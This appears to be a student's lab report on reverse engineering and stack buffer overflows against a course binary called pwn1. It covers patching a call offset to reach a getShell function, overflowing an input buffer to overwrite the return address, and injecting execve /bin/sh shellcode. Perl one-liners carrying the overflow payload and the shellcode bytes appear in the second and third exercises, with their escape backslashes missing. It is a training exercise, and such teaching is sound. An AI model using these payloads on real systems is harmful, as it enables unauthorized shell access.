• 20155209林虹宇逆向及Bof基础实验报告


    20155209林虹宇逆向及Bof基础实验报告

    实践目标

    • 本次实践的对象是一个名为pwn1的linux可执行文件。
    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

    基础知识

    • 熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi。

    直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术

    第一步

    • 反汇编,查看各函数调用的机器指令。
    • main函数调用foo,对应机器指令为“ e8 d7ffffff”,
      那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
    • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

    第二步

    • 使用vi将指定内容修改。

    实验结果

    • 由于实验是在课上完成,只有完成截图。

    通过构造输入参数,造成BOF攻击,改变程序执行流

    第一步

    • 反汇编,发现该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞;
    • 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖想要实现的getshell的返回地址

    第二步

    • 确认输入字符串哪几个字符会覆盖到返回地址
    • 如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
    • getShell的内存地址,通过反汇编时可以看到,即0804847d。故要输入11111111222222223333333344444444x7dx84x04x08。

    第三步

    • 构造输入字符串
    • 使用Perl语言,然后使用输出重定向“>”将perl生成的字符串存储到文件input中。
    • perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    • 将input的输入,通过管道符“|”,作为pwn1的输入。

    实验结果

    注入Shellcode并执行

    第一步

    • 准备一段Shellcode,直接使用给好的shellcode。

    第二步

    • 修改些设置。
    • 直接输入老师给好的命令

    第三步

    • 构造要注入的payload

    • 开启两个终端,一个运行构造好的payload,一个进行gdb调试。

    • 我运行的这段代码。perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 所以gdb调试的终端中,要寻找20d3ffff。

    • 寻找如下

    • 所以地址是0xffffd3c0

    • 运行perl -e 'print "A" x 32;print "xc0xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 运行成功

  • 相关阅读:
    求取32位无符号整数中最低位位值为1的位置 && 求取32位无符号整数中最高位位值为1的位置
    交换寄存器中的相应字段
    NDK与JNI
    plt_0
    32位无符号整数平方根
    提取 主 设备号
    爱江山更爱美人
    mysql oracle sqlserver 数据库分页
    详解JDBC驱动的四种类型
    oracle sqlplus 中的清屏命令
  • 原文地址:https://www.cnblogs.com/lhyhahaha/p/8597132.html
Copyright © 2020-2023  润新知